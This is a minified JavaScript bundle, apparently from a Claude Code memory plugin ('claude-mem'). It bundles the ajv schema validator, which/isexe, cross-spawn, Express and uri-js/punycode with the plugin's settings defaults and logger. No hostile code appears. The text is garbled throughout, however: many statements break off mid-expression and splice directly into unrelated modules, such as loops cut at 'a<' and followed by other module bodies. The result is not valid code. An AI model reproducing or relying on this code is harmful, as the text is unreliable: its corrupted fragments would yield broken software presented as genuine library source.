s(g).then(function(){m(l)||n.addSchema(g,l,void 0,e)})}).then(function(){return i(o)});function f(){delete n._loadingSchemas[l]}function m(g){return n._refs[g]||n._schemas[g]}}}}});var ES=V((xG,SS)=>{"use strict";SS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d,f="data"+(i||""),m="valid"+s,g="errs__"+s,b=e.opts.$data&&o&&o.$data,p;b?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",p="schema"+s):p=o;var h=this,y="definition"+s,v=h.definition,_="",S,x,w,T,R;if(b&&v.$data){R="keywordValidate"+s;var A=v.validateSchema;a+=" var "+y+" = RULES.custom['"+r+"'].definition; var "+R+" = "+y+".validate;"}else{if(T=e.useCustomRule(h,o,e.schema,e),!T)return;p="validate.schema"+c,R=T.code,S=v.compile,x=v.inline,w=v.macro}var j=R+".errors",q="i"+s,U="ruleErr"+s,N=v.async;if(N&&!e.async)throw new Error("async keyword in sync schema");if(x||w||(a+=""+j+" = null;"),a+="var "+g+" = errors;var "+m+";",b&&v.$data&&(_+="}",a+=" if ("+p+" === undefined) { "+m+" = true; } else { ",A&&(_+="}",a+=" "+m+" = "+y+".validateSchema("+p+"); if ("+m+") { ")),x)v.statements?a+=" "+T.validate+" ":a+=" "+m+" = "+T.validate+"; ";else if(w){var G=e.util.copy(e),_="";G.level++;var te="valid"+G.level;G.schema=T.validate,G.schemaPath="";var ce=e.compositeRule;e.compositeRule=G.compositeRule=!0;var le=e.validate(G).replace(/validate\.schema/g,R);e.compositeRule=G.compositeRule=ce,a+=" "+le}else{var ne=ne||[];ne.push(a),a="",a+=" "+R+".call( ",e.opts.passContext?a+="this":a+="self",S||v.schema===!1?a+=" , "+f+" ":a+=" , "+p+" , "+f+" , validate.schema"+e.schemaPath+" ",a+=" , (dataPath || '')",e.errorPath!='""'&&(a+=" + "+e.errorPath);var H=i?"data"+(i-1||""):"parentData",P=i?e.dataPathArr[i]:"parentDataProperty";a+=" , "+H+" , "+P+" , rootData ) ";var L=a;a=ne.pop(),v.errors===!1?(a+=" "+m+" = ",N&&(a+="await "),a+=""+L+"; "):N?(j="customErrors"+s,a+=" var "+j+" = null; try { "+m+" = await "+L+"; } catch (e) { "+m+" = false; if (e instanceof ValidationError) "+j+" = e.errors; else throw e; } "):a+=" "+j+" = null; "+m+" = "+L+"; "}if(v.modifying&&(a+=" if ("+H+") "+f+" = "+H+"["+P+"];"),a+=""+_,v.valid)l&&(a+=" if (true) { ");else{a+=" if ( ",v.valid===void 0?(a+=" !",w?a+=""+te:a+=""+m):a+=" "+!v.valid+" ",a+=") { ",d=h.keyword;var ne=ne||[];ne.push(a),a="";var ne=ne||[];ne.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(d||"custom")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { keyword: '"+h.keyword+"' } ",e.opts.messages!==!1&&(a+=` , message: 'should pass "`+h.keyword+`" keyword validation' `),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+f+" "),a+=" } "):a+=" {} ";var C=a;a=ne.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+C+"]); ":a+=" validate.errors = ["+C+"]; return false; ":a+=" var err = "+C+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ";var E=a;a=ne.pop(),x?v.errors?v.errors!="full"&&(a+=" for (var "+q+"="+g+"; "+q+"{$8.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"http://json-schema.org/draft-07/schema#",title:"Core schema meta-schema",definitions:{schemaArray:{type:"array",minItems:1,items:{$ref:"#"}},nonNegativeInteger:{type:"integer",minimum:0},nonNegativeIntegerDefault0:{allOf:[{$ref:"#/definitions/nonNegativeInteger"},{default:0}]},simpleTypes:{enum:["array","boolean","integer","null","number","object","string"]},stringArray:{type:"array",items:{type:"string"},uniqueItems:!0,default:[]}},type:["object","boolean"],properties:{$id:{type:"string",format:"uri-reference"},$schema:{type:"string",format:"uri"},$ref:{type:"string",format:"uri-reference"},$comment:{type:"string"},title:{type:"string"},description:{type:"string"},default:!0,readOnly:{type:"boolean",default:!1},examples:{type:"array",items:!0},multipleOf:{type:"number",exclusiveMinimum:0},maximum:{type:"number"},exclusiveMaximum:{type:"number"},minimum:{type:"number"},exclusiveMinimum:{type:"number"},maxLength:{$ref:"#/definitions/nonNegativeInteger"},minLength:{$ref:"#/definitions/nonNegativeIntegerDefault0"},pattern:{type:"string",format:"regex"},additionalItems:{$ref:"#"},items:{anyOf:[{$ref:"#"},{$ref:"#/definitions/schemaArray"}],default:!0},maxItems:{$ref:"#/definitions/nonNegativeInteger"},minItems:{$ref:"#/definitions/nonNegativeIntegerDefault0"},uniqueItems:{type:"boolean",default:!1},contains:{$ref:"#"},maxProperties:{$ref:"#/definitions/nonNegativeInteger"},minProperties:{$ref:"#/definitions/nonNegativeIntegerDefault0"},required:{$ref:"#/definitions/stringArray"},additionalProperties:{$ref:"#"},definitions:{type:"object",additionalProperties:{$ref:"#"},default:{}},properties:{type:"object",additionalProperties:{$ref:"#"},default:{}},patternProperties:{type:"object",additionalProperties:{$ref:"#"},propertyNames:{format:"regex"},default:{}},dependencies:{type:"object",additionalProperties:{anyOf:[{$ref:"#"},{$ref:"#/definitions/stringArray"}]}},propertyNames:{$ref:"#"},const:!0,enum:{type:"array",items:!0,minItems:1,uniqueItems:!0},type:{anyOf:[{$ref:"#/definitions/simpleTypes"},{type:"array",items:{$ref:"#/definitions/simpleTypes"},minItems:1,uniqueItems:!0}]},format:{type:"string"},contentMediaType:{type:"string"},contentEncoding:{type:"string"},if:{$ref:"#"},then:{$ref:"#"},else:{$ref:"#"},allOf:{$ref:"#/definitions/schemaArray"},anyOf:{$ref:"#/definitions/schemaArray"},oneOf:{$ref:"#/definitions/schemaArray"},not:{$ref:"#"}},default:!0}});var RS=V((SG,kS)=>{"use strict";var TS=If();kS.exports={$id:"https://github.com/ajv-validator/ajv/blob/master/lib/definition_schema.js",definitions:{simpleTypes:TS.definitions.simpleTypes},type:"object",dependencies:{schema:["validate"],$data:["validate"],statements:["inline"],valid:{not:{required:["macro"]}}},properties:{type:TS.properties.type,schema:{type:"boolean"},statements:{type:"boolean"},dependencies:{type:"array",items:{type:"string"}},metaSchema:{type:"object"},modifying:{type:"boolean"},valid:{type:"boolean"},$data:{type:"boolean"},async:{type:"boolean"},errors:{anyOf:[{type:"boolean"},{const:"full"}]}}}});var PS=V((EG,$S)=>{"use strict";var P8=/^[a-z_$][a-z0-9_$-]*$/i,O8=ES(),C8=RS();$S.exports={add:I8,get:A8,remove:N8,validate:Af};function I8(t,e){var r=this.RULES;if(r.keywords[t])throw new Error("Keyword "+t+" is already defined");if(!P8.test(t))throw new Error("Keyword "+t+" is not a valid identifier");if(e){this.validateKeyword(e,!0);var n=e.type;if(Array.isArray(n))for(var a=0;a{j8.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#",description:"Meta-schema for $data reference (JSON Schema extension proposal)",type:"object",required:["$data"],properties:{$data:{type:"string",anyOf:[{format:"relative-json-pointer"},{format:"json-pointer"}]}},additionalProperties:!1}});var FS=V((kG,LS)=>{"use strict";var IS=uw(),$n=mu(),M8=dw(),AS=yf(),D8=Ef(),q8=Sw(),L8=vS(),NS=_S(),jS=Rn();LS.exports=Et;Et.prototype.validate=z8;Et.prototype.compile=U8;Et.prototype.addSchema=H8;Et.prototype.addMetaSchema=B8;Et.prototype.validateSchema=V8;Et.prototype.getSchema=Z8;Et.prototype.removeSchema=K8;Et.prototype.addFormat=a9;Et.prototype.errorsText=r9;Et.prototype._addSchema=X8;Et.prototype._compile=J8;Et.prototype.compileAsync=wS();var Su=PS();Et.prototype.addKeyword=Su.add;Et.prototype.getKeyword=Su.get;Et.prototype.removeKeyword=Su.remove;Et.prototype.validateKeyword=Su.validate;var MS=hu();Et.ValidationError=MS.Validation;Et.MissingRefError=MS.MissingRef;Et.$dataMetaSchema=NS;var wu="http://json-schema.org/draft-07/schema",CS=["removeAdditional","useDefaults","coerceTypes","strictDefaults"],F8=["/properties"];function Et(t){if(!(this instanceof Et))return new Et(t);t=this._opts=jS.copy(t)||{},u9(this),this._schemas={},this._refs={},this._fragments={},this._formats=q8(t.format),this._cache=t.cache||new M8,this._loadingSchemas={},this._compilations=[],this.RULES=L8(),this._getId=Y8(t),t.loopRequired=t.loopRequired||1/0,t.errorDataPath=="property"&&(t._errorDataPathProperty=!0),t.serialize===void 0&&(t.serialize=D8),this._metaOpts=c9(this),t.formats&&i9(this),t.keywords&&o9(this),n9(this),typeof t.meta=="object"&&this.addMetaSchema(t.meta),t.nullable&&this.addKeyword("nullable",{metaSchema:{type:"boolean"}}),s9(this)}function z8(t,e){var r;if(typeof t=="string"){if(r=this.getSchema(t),!r)throw new Error('no schema with key or ref "'+t+'"')}else{var n=this._addSchema(t);r=n.validate||this._compile(n)}var a=r(e);return r.$async!==!0&&(this.errors=r.errors),a}function U8(t,e){var r=this._addSchema(t,void 0,e);return r.validate||this._compile(r)}function H8(t,e,r,n){if(Array.isArray(t)){for(var a=0;a{VS.exports=BS;BS.sync=d9;var US=require("fs");function l9(t,e){var r=e.pathExt!==void 0?e.pathExt:process.env.PATHEXT;if(!r||(r=r.split(";"),r.indexOf("")!==-1))return!0;for(var n=0;n{XS.exports=GS;GS.sync=p9;var ZS=require("fs");function GS(t,e,r){ZS.stat(t,function(n,a){r(n,n?!1:KS(a,e))})}function p9(t,e){return KS(ZS.statSync(t),e)}function KS(t,e){return t.isFile()&&f9(t,e)}function f9(t,e){var r=t.mode,n=t.uid,a=t.gid,s=e.uid!==void 0?e.uid:process.getuid&&process.getuid(),i=e.gid!==void 0?e.gid:process.getgid&&process.getgid(),o=parseInt("100",8),c=parseInt("010",8),u=parseInt("001",8),l=o|c,d=r&u||r&c&&a===i||r&o&&n===s||r&l&&s===0;return d}});var QS=V((AG,YS)=>{var IG=require("fs"),Eu;process.platform==="win32"||global.TESTING_WINDOWS?Eu=WS():Eu=JS();YS.exports=jf;jf.sync=m9;function jf(t,e,r){if(typeof e=="function"&&(r=e,e={}),!r){if(typeof Promise!="function")throw new TypeError("callback not provided");return new Promise(function(n,a){jf(t,e||{},function(s,i){s?a(s):n(i)})})}Eu(t,e||{},function(n,a){n&&(n.code==="EACCES"||e&&e.ignoreErrors)&&(n=null,a=!1),r(n,a)})}function m9(t,e){try{return Eu.sync(t,e||{})}catch(r){if(e&&e.ignoreErrors||r.code==="EACCES")return!1;throw r}}});var iE=V((NG,sE)=>{var Ps=process.platform==="win32"||process.env.OSTYPE==="cygwin"||process.env.OSTYPE==="msys",eE=require("path"),h9=Ps?";":":",tE=QS(),rE=t=>Object.assign(new Error(`not found: ${t}`),{code:"ENOENT"}),aE=(t,e)=>{let r=e.colon||h9,n=t.match(/\//)||Ps&&t.match(/\\/)?[""]:[...Ps?[process.cwd()]:[],...(e.path||process.env.PATH||"").split(r)],a=Ps?e.pathExt||process.env.PATHEXT||".EXE;.CMD;.BAT;.COM":"",s=Ps?a.split(r):[""];return Ps&&t.indexOf(".")!==-1&&s[0]!==""&&s.unshift(""),{pathEnv:n,pathExt:s,pathExtExe:a}},nE=(t,e,r)=>{typeof e=="function"&&(r=e,e={}),e||(e={});let{pathEnv:n,pathExt:a,pathExtExe:s}=aE(t,e),i=[],o=u=>new Promise((l,d)=>{if(u===n.length)return e.all&&i.length?l(i):d(rE(t));let f=n[u],m=/^".*"$/.test(f)?f.slice(1,-1):f,g=eE.join(m,t),b=!m&&/^\.[\\\/]/.test(t)?t.slice(0,2)+g:g;l(c(b,u,0))}),c=(u,l,d)=>new Promise((f,m)=>{if(d===a.length)return f(o(l+1));let g=a[d];tE(u+g,{pathExt:s},(b,p)=>{if(!b&&p)if(e.all)i.push(u+g);else return f(u+g);return f(c(u,l,d+1))})});return r?o(0).then(u=>r(null,u),r):o(0)},v9=(t,e)=>{e=e||{};let{pathEnv:r,pathExt:n,pathExtExe:a}=aE(t,e),s=[];for(let i=0;i{"use strict";var oE=(t={})=>{let e=t.env||process.env;return(t.platform||process.platform)!=="win32"?"PATH":Object.keys(e).reverse().find(n=>n.toUpperCase()==="PATH")||"Path"};Mf.exports=oE;Mf.exports.default=oE});var pE=V((MG,dE)=>{"use strict";var uE=require("path"),g9=iE(),y9=cE();function lE(t,e){let r=t.options.env||process.env,n=process.cwd(),a=t.options.cwd!=null,s=a&&process.chdir!==void 0&&!process.chdir.disabled;if(s)try{process.chdir(t.options.cwd)}catch{}let i;try{i=g9.sync(t.command,{path:r[y9({env:r})],pathExt:e?uE.delimiter:void 0})}catch{}finally{s&&process.chdir(n)}return i&&(i=uE.resolve(a?t.options.cwd:"",i)),i}function _9(t){return lE(t)||lE(t,!0)}dE.exports=_9});var fE=V((DG,qf)=>{"use strict";var Df=/([()\][%!^"`<>&|;, *?])/g;function b9(t){return t=t.replace(Df,"^$1"),t}function x9(t,e){return t=`${t}`,t=t.replace(/(?=(\\+?)?)\1"/g,'$1$1\\"'),t=t.replace(/(?=(\\+?)?)\1$/,"$1$1"),t=`"${t}"`,t=t.replace(Df,"^$1"),e&&(t=t.replace(Df,"^$1")),t}qf.exports.command=b9;qf.exports.argument=x9});var hE=V((qG,mE)=>{"use strict";mE.exports=/^#!(.*)/});var gE=V((LG,vE)=>{"use strict";var w9=hE();vE.exports=(t="")=>{let e=t.match(w9);if(!e)return null;let[r,n]=e[0].replace(/#! ?/,"").split(" "),a=r.split("/").pop();return a==="env"?n:n?`${a} ${n}`:a}});var _E=V((FG,yE)=>{"use strict";var Lf=require("fs"),S9=gE();function E9(t){let r=Buffer.alloc(150),n;try{n=Lf.openSync(t,"r"),Lf.readSync(n,r,0,150,0),Lf.closeSync(n)}catch{}return S9(r.toString())}yE.exports=E9});var SE=V((zG,wE)=>{"use strict";var T9=require("path"),bE=pE(),xE=fE(),k9=_E(),R9=process.platform==="win32",$9=/\.(?:com|exe)$/i,P9=/node_modules[\\/].bin[\\/][^\\/]+\.cmd$/i;function O9(t){t.file=bE(t);let e=t.file&&k9(t.file);return e?(t.args.unshift(t.file),t.command=e,bE(t)):t.file}function C9(t){if(!R9)return t;let e=O9(t),r=!$9.test(e);if(t.options.forceShell||r){let n=P9.test(e);t.command=T9.normalize(t.command),t.command=xE.command(t.command),t.args=t.args.map(s=>xE.argument(s,n));let a=[t.command].concat(t.args).join(" ");t.args=["/d","/s","/c",`"${a}"`],t.command=process.env.comspec||"cmd.exe",t.options.windowsVerbatimArguments=!0}return t}function I9(t,e,r){e&&!Array.isArray(e)&&(r=e,e=null),e=e?e.slice(0):[],r=Object.assign({},r);let n={command:t,args:e,options:r,file:void 0,original:{command:t,args:e}};return r.shell?n:C9(n)}wE.exports=I9});var kE=V((UG,TE)=>{"use strict";var Ff=process.platform==="win32";function zf(t,e){return Object.assign(new Error(`${e} ${t.command} ENOENT`),{code:"ENOENT",errno:"ENOENT",syscall:`${e} ${t.command}`,path:t.command,spawnargs:t.args})}function A9(t,e){if(!Ff)return;let r=t.emit;t.emit=function(n,a){if(n==="exit"){let s=EE(a,e);if(s)return r.call(t,"error",s)}return r.apply(t,arguments)}}function EE(t,e){return Ff&&t===1&&!e.file?zf(e.original,"spawn"):null}function N9(t,e){return Ff&&t===1&&!e.file?zf(e.original,"spawnSync"):null}TE.exports={hookChildProcess:A9,verifyENOENT:EE,verifyENOENTSync:N9,notFoundError:zf}});var PE=V((HG,Os)=>{"use strict";var RE=require("child_process"),Uf=SE(),Hf=kE();function $E(t,e,r){let n=Uf(t,e,r),a=RE.spawn(n.command,n.args,n.options);return Hf.hookChildProcess(a,n),a}function j9(t,e,r){let n=Uf(t,e,r),a=RE.spawnSync(n.command,n.args,n.options);return a.error=a.error||Hf.verifyENOENTSync(a.status,n),a}Os.exports=$E;Os.exports.spawn=$E;Os.exports.sync=j9;Os.exports._parse=Uf;Os.exports._enoent=Hf});var Is,As,so,ku,AE,NE,io=ba(()=>{"use strict";Is=["bugfix","feature","refactor","discovery","decision","change"],As=["how-it-works","why-it-exists","what-changed","problem-solution","gotcha","pattern","trade-off"],so={bugfix:"\u{1F534}",feature:"\u{1F7E3}",refactor:"\u{1F504}",change:"\u2705",discovery:"\u{1F535}",decision:"\u2696\uFE0F","session-request":"\u{1F3AF}"},ku={discovery:"\u{1F50D}",change:"\u{1F6E0}\uFE0F",feature:"\u{1F6E0}\uFE0F",bugfix:"\u{1F6E0}\uFE0F",refactor:"\u{1F6E0}\uFE0F",decision:"\u2696\uFE0F"},AE=Is.join(","),NE=As.join(",")});var Ns,jE,ME,ft,Yr=ba(()=>{"use strict";Ns=require("fs"),jE=require("path"),ME=require("os");io();_t();ft=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:(0,jE.join)((0,ME.homedir)(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:AE,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:NE,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(e){return this.DEFAULTS[e]}static getInt(e){let r=this.get(e);return parseInt(r,10)}static getBool(e){return this.get(e)==="true"}static loadFromFile(e){try{if(!(0,Ns.existsSync)(e))return this.getAllDefaults();let r=(0,Ns.readFileSync)(e,"utf-8"),n=JSON.parse(r),a=n;if(n.env&&typeof n.env=="object"){a=n.env;try{(0,Ns.writeFileSync)(e,JSON.stringify(a,null,2),"utf-8"),F.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:e})}catch(i){F.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:e},i)}}let s={...this.DEFAULTS};for(let i of Object.keys(this.DEFAULTS))a[i]!==void 0&&(s[i]=a[i]);return s}catch(r){return F.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:e},r),this.getAllDefaults()}}}});var Bf,Vf,F,_t=ba(()=>{"use strict";Yr();Bf=(s=>(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(Bf||{}),Vf=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let e=ft.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=Bf[e]??1}return this.level}correlationId(e,r){return`obs-${e}-${r}`}sessionId(e){return`session-${e}`}formatData(e){if(e==null)return"";if(typeof e=="string")return e;if(typeof e=="number"||typeof e=="boolean")return e.toString();if(typeof e=="object"){if(e instanceof Error)return this.getLevel()===0?`${e.message} -${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let r=Object.keys(e);return r.length===0?"{}":r.length<=3?JSON.stringify(e):`{${r.length} keys: ${r.slice(0,3).join(", ")}...}`}return String(e)}formatTool(e,r){if(!r)return e;try{let n=typeof r=="string"?JSON.parse(r):r;if(e==="Bash"&&n.command)return`${e}(${n.command})`;if(n.file_path)return`${e}(${n.file_path})`;if(n.notebook_path)return`${e}(${n.notebook_path})`;if(e==="Glob"&&n.pattern)return`${e}(${n.pattern})`;if(e==="Grep"&&n.pattern)return`${e}(${n.pattern})`;if(n.url)return`${e}(${n.url})`;if(n.query)return`${e}(${n.query})`;if(e==="Task"){if(n.subagent_type)return`${e}(${n.subagent_type})`;if(n.description)return`${e}(${n.description})`}return e==="Skill"&&n.skill?`${e}(${n.skill})`:e==="LSP"&&n.operation?`${e}(${n.operation})`:e}catch{return e}}formatTimestamp(e){let r=e.getFullYear(),n=String(e.getMonth()+1).padStart(2,"0"),a=String(e.getDate()).padStart(2,"0"),s=String(e.getHours()).padStart(2,"0"),i=String(e.getMinutes()).padStart(2,"0"),o=String(e.getSeconds()).padStart(2,"0"),c=String(e.getMilliseconds()).padStart(3,"0");return`${r}-${n}-${a} ${s}:${i}:${o}.${c}`}log(e,r,n,a,s){if(e{"use strict";var Wc=C_(),IM=require("events").EventEmitter,nx=A_(),sx=f0(),AM=vp(),NM=yp(),ix=L0(),ox=tx();Qt=cx.exports=jM;function jM(){var t=function(e,r,n){t.handle(e,r,n)};return nx(t,IM.prototype,!1),nx(t,sx,!1),t.request=Object.create(ix,{app:{configurable:!0,enumerable:!0,writable:!0,value:t}}),t.response=Object.create(ox,{app:{configurable:!0,enumerable:!0,writable:!0,value:t}}),t.init(),t}Qt.application=sx;Qt.request=ix;Qt.response=ox;Qt.Route=AM;Qt.Router=NM;Qt.json=Wc.json;Qt.query=_p();Qt.raw=Wc.raw;Qt.static=ax();Qt.text=Wc.text;Qt.urlencoded=Wc.urlencoded;var MM=["bodyParser","compress","cookieSession","session","logger","cookieParser","favicon","responseTime","errorHandler","timeout","methodOverride","vhost","csrf","directory","limit","multipart","staticCache"];MM.forEach(function(t){Object.defineProperty(Qt,t,{get:function(){throw new Error("Most middleware (like "+t+") is no longer bundled with Express and must be installed separately. Please see https://github.com/senchalabs/connect#middleware.")},configurable:!0})})});var Kc=V((bG,lx)=>{"use strict";lx.exports=ux()});var Ux=V((lu,zx)=>{(function(t,e){typeof lu=="object"&&typeof zx<"u"?e(lu):typeof define=="function"&&define.amd?define(["exports"],e):e(t.URI=t.URI||{})})(lu,(function(t){"use strict";function e(){for(var B=arguments.length,D=Array(B),Z=0;Z1){D[0]=D[0].slice(0,-1);for(var X=D.length-1,Y=1;Y= 0x80 (not a basic code point)","invalid-input":"Invalid input"},$=m-g,N=Math.floor,j=String.fromCharCode;function q(B){throw new RangeError(T[B])}function H(B,D){for(var Z=[],X=B.length;X--;)Z[X]=D(B[X]);return Z}function A(B,D){var Z=B.split("@"),X="";Z.length>1&&(X=Z[0]+"@",B=Z[1]),B=B.replace(E,".");var Y=B.split("."),ye=H(Y,D).join(".");return X+ye}function W(B){for(var D=[],Z=0,X=B.length;Z=55296&&Y<=56319&&Z>1,D+=N(D/Z);D>$*b>>1;Y+=m)D=N(D/$);return N(Y+($+1)*D/(D+p))},F=function(D){var Z=[],X=D.length,Y=0,ye=v,De=y,Ge=D.lastIndexOf(_);Ge<0&&(Ge=0);for(var Qe=0;Qe=128&&q("not-basic"),Z.push(D.charCodeAt(Qe));for(var Pt=Ge>0?Ge+1:0;Pt=X&&q("invalid-input");var ft=he(D.charCodeAt(Pt++));(ft>=m||ft>N((f-Y)/gt))&&q("overflow"),Y+=ft*gt;var Ke=Ot<=De?g:Ot>=De+b?b:Ot-De;if(ftN(f/yt)&&q("overflow"),gt*=yt}var rt=Z.length+1;De=re(Y-Ve,rt,Ve==0),N(Y/rt)>f-ye&&q("overflow"),ye+=N(Y/rt),Y%=rt,Z.splice(Y++,0,ye)}return String.fromCodePoint.apply(String,Z)},R=function(D){var Z=[];D=W(D);var X=D.length,Y=v,ye=0,De=y,Ge=!0,Qe=!1,Pt=void 0;try{for(var Ve=D[Symbol.iterator](),gt;!(Ge=(gt=Ve.next()).done);Ge=!0){var Ot=gt.value;Ot<128&&Z.push(j(Ot))}}catch(Xa){Qe=!0,Pt=Xa}finally{try{!Ge&&Ve.return&&Ve.return()}finally{if(Qe)throw Pt}}var ft=Z.length,Ke=ft;for(ft&&Z.push(_);Ke=Y&&urN((f-ye)/hr)&&q("overflow"),ye+=(yt-Y)*hr,Y=yt;var Br=!0,Ka=!1,sa=void 0;try{for(var mi=D[Symbol.iterator](),Fo;!(Br=(Fo=mi.next()).done);Br=!0){var zo=Fo.value;if(zof&&q("overflow"),zo==Y){for(var Vn=ye,Zn=m;;Zn+=m){var ia=Zn<=De?g:Zn>=De+b?b:Zn-De;if(Vn>6|192).toString(16).toUpperCase()+"%"+(D&63|128).toString(16).toUpperCase():Z="%"+(D>>12|224).toString(16).toUpperCase()+"%"+(D>>6&63|128).toString(16).toUpperCase()+"%"+(D&63|128).toString(16).toUpperCase(),Z}function K(B){for(var D="",Z=0,X=B.length;Z=194&&Y<224){if(X-Z>=6){var ye=parseInt(B.substr(Z+4,2),16);D+=String.fromCharCode((Y&31)<<6|ye&63)}else D+=B.substr(Z,6);Z+=6}else if(Y>=224){if(X-Z>=9){var De=parseInt(B.substr(Z+4,2),16),Ge=parseInt(B.substr(Z+7,2),16);D+=String.fromCharCode((Y&15)<<12|(De&63)<<6|Ge&63)}else D+=B.substr(Z,9);Z+=9}else D+=B.substr(Z,3),Z+=3}return D}function J(B,D){function Z(X){var Y=K(X);return Y.match(D.UNRESERVED)?Y:X}return B.scheme&&(B.scheme=String(B.scheme).replace(D.PCT_ENCODED,Z).toLowerCase().replace(D.NOT_SCHEME,"")),B.userinfo!==void 0&&(B.userinfo=String(B.userinfo).replace(D.PCT_ENCODED,Z).replace(D.NOT_USERINFO,M).replace(D.PCT_ENCODED,a)),B.host!==void 0&&(B.host=String(B.host).replace(D.PCT_ENCODED,Z).toLowerCase().replace(D.NOT_HOST,M).replace(D.PCT_ENCODED,a)),B.path!==void 0&&(B.path=String(B.path).replace(D.PCT_ENCODED,Z).replace(B.scheme?D.NOT_PATH:D.NOT_PATH_NOSCHEME,M).replace(D.PCT_ENCODED,a)),B.query!==void 0&&(B.query=String(B.query).replace(D.PCT_ENCODED,Z).replace(D.NOT_QUERY,M).replace(D.PCT_ENCODED,a)),B.fragment!==void 0&&(B.fragment=String(B.fragment).replace(D.PCT_ENCODED,Z).replace(D.NOT_FRAGMENT,M).replace(D.PCT_ENCODED,a)),B}function de(B){return B.replace(/^0*(.*)/,"$1")||"0"}function se(B,D){var Z=B.match(D.IPV4ADDRESS)||[],X=l(Z,2),Y=X[1];return Y?Y.split(".").map(de).join("."):B}function me(B,D){var Z=B.match(D.IPV6ADDRESS)||[],X=l(Z,3),Y=X[1],ye=X[2];if(Y){for(var De=Y.toLowerCase().split("::").reverse(),Ge=l(De,2),Qe=Ge[0],Pt=Ge[1],Ve=Pt?Pt.split(":").map(de):[],gt=Qe.split(":").map(de),Ot=D.IPV4ADDRESS.test(gt[gt.length-1]),ft=Ot?7:8,Ke=gt.length-ft,yt=Array(ft),rt=0;rt1){var nt=yt.slice(0,cr.index),ur=yt.slice(cr.index+cr.length);mr=nt.join(":")+"::"+ur.join(":")}else mr=yt.join(":");return ye&&(mr+="%"+ye),mr}else return B}var O=/^(?:([^:\/?#]+):)?(?:\/\/((?:([^\/?#@]*)@)?(\[[^\/?#\]]+\]|[^\/?#:]*)(?:\:(\d*))?))?([^?#]*)(?:\?([^#]*))?(?:#((?:.|\n|\r)*))?/i,C="".match(/(){0}/)[1]===void 0;function L(B){var D=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},Z={},X=D.iri!==!1?u:c;D.reference==="suffix"&&(B=(D.scheme?D.scheme+":":"")+"//"+B);var Y=B.match(O);if(Y){C?(Z.scheme=Y[1],Z.userinfo=Y[3],Z.host=Y[4],Z.port=parseInt(Y[5],10),Z.path=Y[6]||"",Z.query=Y[7],Z.fragment=Y[8],isNaN(Z.port)&&(Z.port=Y[5])):(Z.scheme=Y[1]||void 0,Z.userinfo=B.indexOf("@")!==-1?Y[3]:void 0,Z.host=B.indexOf("//")!==-1?Y[4]:void 0,Z.port=parseInt(Y[5],10),Z.path=Y[6]||"",Z.query=B.indexOf("?")!==-1?Y[7]:void 0,Z.fragment=B.indexOf("#")!==-1?Y[8]:void 0,isNaN(Z.port)&&(Z.port=B.match(/\/\/(?:.|\n)*\:(?:\/|\?|\#|$)/)?Y[4]:void 0)),Z.host&&(Z.host=me(se(Z.host,X),X)),Z.scheme===void 0&&Z.userinfo===void 0&&Z.host===void 0&&Z.port===void 0&&!Z.path&&Z.query===void 0?Z.reference="same-document":Z.scheme===void 0?Z.reference="relative":Z.fragment===void 0?Z.reference="absolute":Z.reference="uri",D.reference&&D.reference!=="suffix"&&D.reference!==Z.reference&&(Z.error=Z.error||"URI is not a "+D.reference+" reference.");var ye=k[(D.scheme||Z.scheme||"").toLowerCase()];if(!D.unicodeSupport&&(!ye||!ye.unicodeSupport)){if(Z.host&&(D.domainHost||ye&&ye.domainHost))try{Z.host=w.toASCII(Z.host.replace(X.PCT_ENCODED,K).toLowerCase())}catch(De){Z.error=Z.error||"Host's domain name can not be converted to ASCII via punycode: "+De}J(Z,c)}else J(Z,X);ye&&ye.parse&&ye.parse(Z,D)}else Z.error=Z.error||"URI can not be parsed.";return Z}function G(B,D){var Z=D.iri!==!1?u:c,X=[];return B.userinfo!==void 0&&(X.push(B.userinfo),X.push("@")),B.host!==void 